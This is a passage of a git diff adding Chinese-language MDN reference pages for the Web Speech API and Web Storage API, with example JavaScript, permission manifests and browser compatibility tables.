+ +
  "type": "privileged"
+ +

See also

+ + diff --git a/files/zh-cn/web/api/speechrecognitionresult/isfinal/index.html b/files/zh-cn/web/api/speechrecognitionresult/isfinal/index.html new file mode 100644 index 0000000000..1b1a46a1d7 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognitionresult/isfinal/index.html @@ -0,0 +1,139 @@ +--- +title: SpeechRecognitionResult.isFinal +slug: Web/API/SpeechRecognitionResult/isFinal +tags: + - API + - Web Speech API + - isFinal + - 语音 + - 语音识别 +translation_of: Web/API/SpeechRecognitionResult/isFinal +--- +

{{APIRef("Web Speech API")}}{{ SeeCompatTable() }}

+ +

{{domxref("SpeechRecognitionResult")}} 接口的isFinal只读属性是一个布尔值, 如果值是true, 则表示这是最后一次返回的结果 (语音识别结束)。如果为false, 表示识别尚未结束, 这只是一个临时的数据, 有可能会在稍后更新。

+ +

语法

+ +
var myIsFinal = speechRecognitionResultInstance.isFinal;
+ +

返回值

+ +

{{domxref("Boolean")}} 

+ +

示例

+ +
recognition.onresult = function(event) {
+  // The SpeechRecognitionEvent results property returns a SpeechRecognitionResultList object
+  // SpeechRecognitionResultList 对象包含 SpeechRecognitionResult 对象.
+  // 它有一个getter,所以它可以像数组一样被访问
+  // 第一个[0]返回 SpeechRecognitionResult 的第0个下标.
+  // Each SpeechRecognitionResult object contains SpeechRecognitionAlternative objects that contain individual results.
+  // 这些也有getter,因此可以像数组一样访问它们。
+  // 第二个[0]返回 SpeechRecognitionAlternative 所在的第0个下标。
+  // 然后我们返回的记录属性 SpeechRecognitionAlternative 对象
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+
+  console.log(event.results[0].isFinal);
+}
+ +

规格

+ + + + + + + + + + + + + + +
规格状态说明
{{SpecName('Web Speech API', '#dfn-isFinal', 'isFinal')}}{{Spec2('Web Speech API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}} [1]{{CompatGeckoDesktop(44)}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

Firefox OS 权限

+ +

要在应用程序中使用语音识别,您需要在您的清单中指定以下权限:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

你还需要一个有特权的应用程序,所以你也需要把它包含在内:

+ +
  "type": "privileged"
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/speechsynthesis/getvoices/index.html b/files/zh-cn/web/api/speechsynthesis/getvoices/index.html new file mode 100644 index 0000000000..5d66a40799 --- /dev/null +++ b/files/zh-cn/web/api/speechsynthesis/getvoices/index.html @@ -0,0 +1,93 @@ +--- +title: SpeechSynthesis.getVoices() +slug: Web/API/SpeechSynthesis/getVoices +translation_of: Web/API/SpeechSynthesis/getVoices +--- +
{{APIRef("Web Speech API")}}{{SeeCompatTable}}
+ +

The getVoices() method of the {{domxref("SpeechSynthesis")}} interface returns a list of {{domxref("SpeechSynthesisVoice")}} objects representing all the available voices on the current device.

+ +

Syntax

+ +
speechSynthesisInstance.getVoices();
+
+ +

参数

+ +

None.

+ +

返回值

+ +

返回一个类型为{{domxref("SpeechSynthesisVoice")}} 的数组(array)列表(list)。

+ +
+

Note: 使用此方法会返回存在错误规范的SpeechSynthesisVoiceList 对象, 可能已被从现有规范中移除。

+
+ +

示例

+ +

JavaScript

+ +
function populateVoiceList() {
+  if(typeof speechSynthesis === 'undefined') {
+    return;
+  }
+
+  voices = speechSynthesis.getVoices();
+
+  for(i = 0; i < voices.length ; i++) {
+    var option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    document.getElementById("voiceSelect").appendChild(option);
+  }
+}
+
+populateVoiceList();
+if (typeof speechSynthesis !== 'undefined' && speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}
+ +

HTML

+ +
<select id="voiceSelect"></select>
+
+ +

{{EmbedLiveSample("Example", 400, 25)}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#dfn-ttsgetvoices', 'getVoices()')}}{{Spec2('Web Speech API')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechSynthesis.getVoices")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/speechsynthesis/index.html b/files/zh-cn/web/api/speechsynthesis/index.html new file mode 100644 index 0000000000..6ea88763e6 --- /dev/null +++ b/files/zh-cn/web/api/speechsynthesis/index.html @@ -0,0 +1,137 @@ +--- +title: SpeechSynthesis +slug: Web/API/SpeechSynthesis +tags: + - API + - Experimental + - Interface + - SpeechSynthesis + - Web Speech API + - speech +translation_of: Web/API/SpeechSynthesis +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

 网页语音 APISpeechSynthesis 接口是语音服务的控制接口;它可以用于获取设备上关于可用的合成声音的信息,开始、暂停语音,或除此之外的其他命令。

+ +

属性

+ +

SpeechSynthesis 也从它的父接口继承属性, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechSynthesis.paused")}} {{readonlyinline}}
+
SpeechSynthesis 处于暂停状态时, {{domxref("Boolean")}} 值返回 true 。
+
{{domxref("SpeechSynthesis.pending")}} {{readonlyinline}}
+
当语音播放队列到目前为止保持没有说完的语音时, {{domxref("Boolean")}} 值返回 true 。
+
{{domxref("SpeechSynthesis.speaking")}} {{readonlyinline}}
+
当语音谈话正在进行的时候,即使SpeechSynthesis处于暂停状态, {{domxref("Boolean")}} 返回 true 。
+
+ +

事件操作

+ +
+
{{domxref("SpeechSynthesis.onvoiceschanged")}}
+
当由{{domxref("SpeechSynthesis.getVoices()")}}方法返回的{{domxref("SpeechSynthesisVoice")}}列表改变时触发。
+
+ +

方法

+ +

SpeechSynthesis 也从它的父接口继承方法, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechSynthesis.cancel()")}}
+
移除所有语音谈话队列中的谈话。
+
{{domxref("SpeechSynthesis.getVoices()")}}
+
返回当前设备所有可用声音的 {{domxref("SpeechSynthesisVoice")}}列表。
+
{{domxref("SpeechSynthesis.pause()")}}
+
把 SpeechSynthesis 对象置为暂停状态。
+
{{domxref("SpeechSynthesis.resume()")}}
+
把 SpeechSynthesis 对象置为一个非暂停状态:如果已经暂停了则继续。
+
{{domxref("SpeechSynthesis.speak()")}}
+
添加一个 {{domxref("SpeechSynthesisUtterance", "utterance")}} 到语音谈话队列;它将会在其他语音谈话播放完之后播放。
+
+ +

示例

+ +

在我们基础的 Speech synthesiser演示中 ,我们第一次用 window.speechSynthesis抓取了关于语音播放控制器的参考。在定义了一些必要的变量后,我们用 {{domxref("SpeechSynthesis.getVoices()")}}获取了一列可用的声音并且用它们生成一列可选表单,这样用户能够选择他们想要的声音。

+ +

 inputForm.onsubmit 的内部操作中,我们用preventDefault()阻止了表单的提交,创建了一个从{{htmlelement("input")}}文本框获取文本的新{{domxref("SpeechSynthesisUtterance")}}实例,在{{htmlelement("select")}}元素可选的声音设置成语音谈话的voice属性,然后通过{{domxref("SpeechSynthesis.speak()")}}方法开始语音播放。

+ +
var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('.txt');
+var voiceSelect = document.querySelector('select');
+
+var pitch = document.querySelector('#pitch');
+var pitchValue = document.querySelector('.pitch-value');
+var rate = document.querySelector('#rate');
+var rateValue = document.querySelector('.rate-value');
+
+var voices = [];
+
+function populateVoiceList() {
+  voices = synth.getVoices();
+
+  for(i = 0; i < voices.length ; i++) {
+    var option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    voiceSelect.appendChild(option);
+  }
+}
+
+populateVoiceList();
+if (speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i < voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  utterThis.pitch = pitch.value;
+  utterThis.rate = rate.value;
+  synth.speak(utterThis);
+
+  inputTxt.blur();
+}
+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#tts-section', 'SpeechSynthesis')}}{{Spec2('Web Speech API')}} 
+ +

浏览器兼容

+ +
{{Compat("api.SpeechSynthesis")}}
+ +

参见

+ + diff --git a/files/zh-cn/web/api/speechsynthesis/paused/index.html b/files/zh-cn/web/api/speechsynthesis/paused/index.html new file mode 100644 index 0000000000..f4c4f78f3c --- /dev/null +++ b/files/zh-cn/web/api/speechsynthesis/paused/index.html @@ -0,0 +1,109 @@ +--- +title: SpeechSynthesis.paused +slug: Web/API/SpeechSynthesis/paused +translation_of: Web/API/SpeechSynthesis/paused +--- +
{{APIRef("Web Speech API")}}{{SeeCompatTable}}
+ +

  {{domxref("SpeechSynthesis")}} 接口的只读属性 paused 是一个  {{domxref("Boolean")}} 值,当SpeechSynthesis对象处于暂停状态时,返回true ,否则返回 false。

+ +

它能被设置为 {{domxref("SpeechSynthesis.pause()", "暂停状态")}} 即使当前并没有语音在播放队列中。如果{{domxref("SpeechSynthesisUtterance","utterances")}} 被添加到语音播放队列,队列中的语音并不会播放直到使用 {{domxref("SpeechSynthesis.resume()")}}使SpeechSynthesis对象处于非暂停状态。

+ +

语法

+ +
var amIPaused = speechSynthesisInstance.paused;
+
+ +

Value

+ +

一个{{domxref("Boolean")}}。

+ +

示例

+ +
var synth = window.speechSynthesis;
+
+synth.pause();
+
+var amIPaused = synth.paused; // 将返回 true
+
+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#dfn-ttspaused', 'paused')}}{{Spec2('Web Speech API')}} 
+ +

浏览器通用性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(49)}}{{CompatNo}}{{CompatUnknown}}7
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}2.0{{CompatNo}}{{CompatNo}}7.1
+
+ +

请参阅

+ + diff --git a/files/zh-cn/web/api/speechsynthesisutterance/index.html b/files/zh-cn/web/api/speechsynthesisutterance/index.html new file mode 100644 index 0000000000..7b48cadaed --- /dev/null +++ b/files/zh-cn/web/api/speechsynthesisutterance/index.html @@ -0,0 +1,133 @@ +--- +title: SpeechSynthesisUtterance +slug: Web/API/SpeechSynthesisUtterance +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Reference + - SpeechSynthesisUtterance + - TopicStub + - Web Speech API + - speech + - synthesis +translation_of: Web/API/SpeechSynthesisUtterance +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

The SpeechSynthesisUtterance interface of the Web Speech API represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)

+ +

Constructor

+ +
+
{{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()")}}
+
Returns a new SpeechSynthesisUtterance object instance.
+
+ +

Properties

+ +

SpeechSynthesisUtterance also inherits properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechSynthesisUtterance.lang")}}
+
Gets and sets the language of the utterance.
+
{{domxref("SpeechSynthesisUtterance.pitch")}}
+
Gets and sets the pitch at which the utterance will be spoken at.
+
{{domxref("SpeechSynthesisUtterance.rate")}}
+
Gets and sets the speed at which the utterance will be spoken at.
+
{{domxref("SpeechSynthesisUtterance.text")}}
+
Gets and sets the text that will be synthesised when the utterance is spoken.
+
{{domxref("SpeechSynthesisUtterance.voice")}}
+
Gets and sets the voice that will be used to speak the utterance.
+
{{domxref("SpeechSynthesisUtterance.volume")}}
+
Gets and sets the volume that the utterance will be spoken at.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
boundary
+
Fired when the spoken utterance reaches a word or sentence boundary.
+ Also available via the onboundary property.
+
end
+
Fired when the utterance has finished being spoken.
+ Also available via the onend property.
+
error
+
Fired when an error occurs that prevents the utterance from being succesfully spoken.
+ Also available via the onerror property
+
mark
+
Fired when the spoken utterance reaches a named SSML "mark" tag.
+ Also available via the onmark property.
+
pause
+
Fired when the utterance is paused part way through.
+ Also available via the onpause property.
+
resume
+
Fired when a paused utterance is resumed.
+ Also available via the onresume property.
+
start
+
Fired when the utterance has begun to be spoken.
+ Also available via the onstart property.
+
+ +

Examples

+ +

In our basic Speech synthesiser demo (source), we first grab a reference to the SpeechSynthesis controller using window.speechSynthesis. After defining some necessary variables, we retrieve a list of the voices available using {{domxref("SpeechSynthesis.getVoices()")}} and populate a select menu with them so the user can choose what voice they want.

+ +

Inside the inputForm.onsubmit handler, we stop the form submitting with {{domxref("Event.preventDefault","preventDefault()")}}, use the {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "constructor")}} to create a new utterance instance containing the text from the text {{htmlelement("input")}}, set the utterance's {{domxref("SpeechSynthesisUtterance.voice","voice")}} to the voice selected in the {{htmlelement("select")}} element, and start the utterance speaking via the {{domxref("SpeechSynthesis.speak()")}} method.

+ +
var synth = window.speechSynthesis;
+var voices = synth.getVoices();
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('input');
+var voiceSelect = document.querySelector('select');
+
+for(var i = 0; i < voices.length; i++) {
+  var option = document.createElement('option');
+  option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+  option.value = i;
+  voiceSelect.appendChild(option);
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  utterThis.voice = voices[voiceSelect.value];
+  synth.speak(utterThis);
+  inputTxt.blur();
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#tts-section', 'SpeechSynthesisUtterance')}}{{Spec2('Web Speech API')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechSynthesisUtterance")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/speechsynthesisutterance/voice/index.html b/files/zh-cn/web/api/speechsynthesisutterance/voice/index.html new file mode 100644 index 0000000000..3295efbbbf --- /dev/null +++ b/files/zh-cn/web/api/speechsynthesisutterance/voice/index.html @@ -0,0 +1,77 @@ +--- +title: SpeechSynthesisUtterance.voice +slug: Web/API/SpeechSynthesisUtterance/voice +translation_of: Web/API/SpeechSynthesisUtterance/voice +--- +
<trans newtip="{{APIRef(“Web语音API”)}}{SeeCompattable}" oldtip="{{APIRef("Web Speech API")}}{{SeeCompatTable}}">{{APIRef(“Web语音API”)}}{SeeCompattable}</trans>
+ +

The voice property of the {{domxref("SpeechSynthesisUtterance")}} interface gets and sets the voice that will be used to speak the utterance.

+ +

This should be set to one of the {{domxref("SpeechSynthesisVoice")}} objects returned by {{domxref("SpeechSynthesis.getVoices()")}}. If not set by the time the utterance is spoken, the voice used will be the most suitable default voice available for the utterance's {{domxref("SpeechSynthesisUtterance.lang","lang")}} setting.

+ +

Syntax

+ +
var myVoice = speechSynthesisUtteranceInstance.voice;
+speechSynthesisUtteranceInstance.voice = speechSynthesisVoiceInstance;
+
+ +

Value

+ +

A {{domxref("SpeechSynthesisVoice")}} object.

+ +

Examples

+ +
var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('input');
+var voiceSelect = document.querySelector('select');
+
+var voices = synth.getVoices();
+
+  ...
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i < voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  synth.speak(utterThis);
+  inputTxt.blur();
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#dom-speechsynthesisutterance-voice', 'voice')}}{{Spec2('Web Speech API')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechSynthesisUtterance.voice")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/storage/clear/index.html b/files/zh-cn/web/api/storage/clear/index.html new file mode 100644 index 0000000000..02eab09559 --- /dev/null +++ b/files/zh-cn/web/api/storage/clear/index.html @@ -0,0 +1,121 @@ +--- +title: Storage.clear() +slug: Web/API/Storage/clear +translation_of: Web/API/Storage/clear +--- +

{{APIRef("Web Storage API")}}

+ +

clear() 是 {{domxref("Storage")}} 接口的一个方法,调用它可以清空存储对象里所有的键值。

+ +

语法

+ +
storage.clear();
+ +

参数

+ +

无。

+ +

返回值

+ +

无。

+ +

示例

+ +

下面的函数在本地存储里面创建三个数据项,然后使用 clear() 把它们全部移除。

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.clear();
+}
+ +
+

备注:一个实际的例子 Web Storage Demo

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#dom-storage-clear', 'clear()')}}{{Spec2('Web Storage')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

各浏览器支持的 localStorage 和 sessionStorage 容量不同。测试页面:detailed rundown of all the storage capacities for various browsers.

+ +
+

Note: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

+
+ +

相关链接

+ +

使用 Web Storage API

diff --git a/files/zh-cn/web/api/storage/getitem/index.html b/files/zh-cn/web/api/storage/getitem/index.html new file mode 100644 index 0000000000..11869d49e2 --- /dev/null +++ b/files/zh-cn/web/api/storage/getitem/index.html @@ -0,0 +1,131 @@ +--- +title: Storage.getItem() +slug: Web/API/Storage/getItem +translation_of: Web/API/Storage/getItem +--- +

{{APIRef("Web Storage API")}}

+ +

getItem() 作为 {{domxref("Storage")}} 接口的方法,接受一个键名(key name)作为参数,并返回对应键名的值(key's value)。

+ +

语法

+ +
var aValue = storage.getItem(keyName);
+
+ +

参数

+ +
+
keyName
+
一个包含键名的 {{domxref("DOMString")}}。
+
+ +

返回值

+ +

一个 {{domxref("DOMString")}},键名对应的值。如果键名不存在于存储中,则返回 null

+ +

示例

+ +

下面的函数从本地存储中获取三个数据项,然后使用他们在页面上设置自定义样式:

+ +
function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +
+

备注:一个实际的例子 Web Storage Demo

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#dom-storage-getitem', 'getItem()')}}{{Spec2('Web Storage')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

各浏览器支持的 localStorage 和 sessionStorage 容量不同。测试页面:detailed rundown of all the storage capacities for various browsers

+ +
+

Note: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

+
+ +

相关链接

+ +

使用 Web Storage API

diff --git a/files/zh-cn/web/api/storage/index.html b/files/zh-cn/web/api/storage/index.html new file mode 100644 index 0000000000..d31bd6b056 --- /dev/null +++ b/files/zh-cn/web/api/storage/index.html @@ -0,0 +1,108 @@ +--- +title: Storage +slug: Web/API/Storage +tags: + - API + - Interface + - Reference + - Storage + - Web Storage + - data +translation_of: Web/API/Storage +--- +

{{APIRef("Web Storage API")}}

+ +

作为 Web Storage API 的接口,Storage 提供了访问特定域名下的会话存储或本地存储的功能,例如,可以添加、修改或删除存储的数据项。

+ +

如果你想要操作一个域名的会话存储,可以使用 {{domxref("Window.sessionStorage")}};如果想要操作一个域名的本地存储,可以使用 {{domxref("Window.localStorage")}}。

+ +

属性

+ +
+
{{domxref("Storage.length")}} {{readonlyInline}}
+
返回一个整数,表示存储在 Storage 对象中的数据项数量。
+
+ +

方法

+ +
+
{{domxref("Storage.key()")}}
+
该方法接受一个数值 n 作为参数,并返回存储中的第 n 个键名。
+
+ +
+
{{domxref("Storage.getItem()")}}
+
该方法接受一个键名作为参数,返回键名对应的值。
+
{{domxref("Storage.setItem()")}}
+
该方法接受一个键名和值作为参数,将会把键值对添加到存储中,如果键名存在,则更新其对应的值。
+
{{domxref("Storage.removeItem()")}}
+
该方法接受一个键名作为参数,并把该键名从存储中删除。
+
{{domxref("Storage.clear()")}}
+
调用该方法会清空存储中的所有键名。
+
+ +

示例

+ +

这里我们通过调用 localStorage 来访问一个 Storage 对象。首先,使用 !localStorage.getItem('bgcolor') 测试本地存储中是否包含该数据项。如果包含,则运行 setStyles() 函数,该函数使用 localStorage.getItem() 来获取数据项,并使用这些值更新页面样式。如果不包含,我们运行另一个函数 populateStorage(),该函数使用 localStorage.setItem() 设置数据项,然后运行 setStyles()

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +
+

备注:要运行完整的例子,可查看 Web Storage Demo

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#the-storage-interface', 'Storage')}}{{Spec2('Web Storage')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.Storage")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/storage/key/index.html b/files/zh-cn/web/api/storage/key/index.html new file mode 100644 index 0000000000..bfd14f5c44 --- /dev/null +++ b/files/zh-cn/web/api/storage/key/index.html @@ -0,0 +1,124 @@ +--- +title: Storage.key() +slug: Web/API/Storage/key +translation_of: Web/API/Storage/key +--- +

{{APIRef()}}

+ +

key() 作为 {{domxref("Storage")}} 接口的方法,接受一个数值 n 作为参数,返回存储对象第 n 个数据项的键名。键的存储顺序是由用户代理定义的,所以尽可能不要依赖这个方法。

+ +

语法

+ +
var aKeyName = storage.key(key);
+ +

参数

+ +
+
key
+
一个整数,表示要获取的键名索引。
+
+ +

返回值

+ +

一个包含键名的 {{domxref("DOMString")}}。

+ +

示例

+ +

下面的函数添加三个数据项到当前域名的本地存储里,然后返回第三个的键名:

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  localStorage.key(2); // 应该返回 'image'
+}
+ +
+

备注: 关于实际的例子,可以查看 Web Storage Demo.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#dom-storage-key', 'key()')}}{{Spec2('Web Storage')}}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

各浏览器支持的 localStorage 和 sessionStorage 容量不同。测试页面:detailed rundown of all the storage capacities for various browsers.

+ +
+

Note: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

+
+ +

相关链接

+ +

使用 Web Storage API

diff --git a/files/zh-cn/web/api/storage/length/index.html b/files/zh-cn/web/api/storage/length/index.html new file mode 100644 index 0000000000..5c4d79d3d3 --- /dev/null +++ b/files/zh-cn/web/api/storage/length/index.html @@ -0,0 +1,117 @@ +--- +title: Storage.length +slug: Web/API/Storage/length +translation_of: Web/API/Storage/length +--- +

{{APIRef("Web Storage API")}}

+ +

length 是 {{domxref("Storage")}} 接口的只读属性,返回一个整数,表示存储在 Storage 对象里的数据项(data items)数量。

+ +

语法

+ +
var aLength = storage.length;
+ +

返回值

+ +

一个整数。

+ +

示例

+ +

下面的函数添加三个数据项到当前域名的本地存储里面,然后返回本地存储里面数据项的数量:

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  localStorage.length; // 返回 3
+}
+ +
+

备注: 关于实际的例子,可以查看 Web Storage Demo.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#dom-storage-length', 'length')}}{{Spec2('Web Storage')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

各浏览器支持的 localStorage 和 sessionStorage 容量不同。测试页面:detailed rundown of all the storage capacities for various browsers.

+ +
+

Note: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

+
+ +

相关链接

+ +

使用 Web Storage API

diff --git a/files/zh-cn/web/api/storage/localstorage/index.html b/files/zh-cn/web/api/storage/localstorage/index.html new file mode 100644 index 0000000000..5d655432b9 --- /dev/null +++ b/files/zh-cn/web/api/storage/localstorage/index.html @@ -0,0 +1,135 @@ +--- +title: LocalStorage +slug: Web/API/Storage/LocalStorage +tags: + - 存储API + - 离线 +translation_of: Web/API/Window/localStorage +--- +

localStorage 与 sessionStorage 一样,都遵循同源策略,但是它是持续存在的。localStorage 首次出现于 Firefox 3.5。

+ +
Note: 当浏览器进入隐私浏览模式,会创建一个新的、临时的数据库来存储local storage的数据;当关闭隐私浏览模式时,该数据库将被清空并丢弃。
+ +
// Save data to the current local store
+localStorage.setItem("username", "John");
+
+// Access some stored data
+alert( "username = " + localStorage.getItem("username"));
+ +

本地存储(localStorage)的持续存在对许多事情都有帮助,包括这个示例this tutorial on Codepen所演示的记录页面查看次数。

+ +

兼容性

+ +

Storage 对象最近才加入标准,因此可能并不被所有浏览器支持。你可以通过在你的scripts代码前加入以下两段代码中某一段来规避在不能原生支持的执行环境使用localStorage对象的问题。

+ +

该算法借助于cookies,对localStorage对象进行了严谨的实现。

+ +
if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
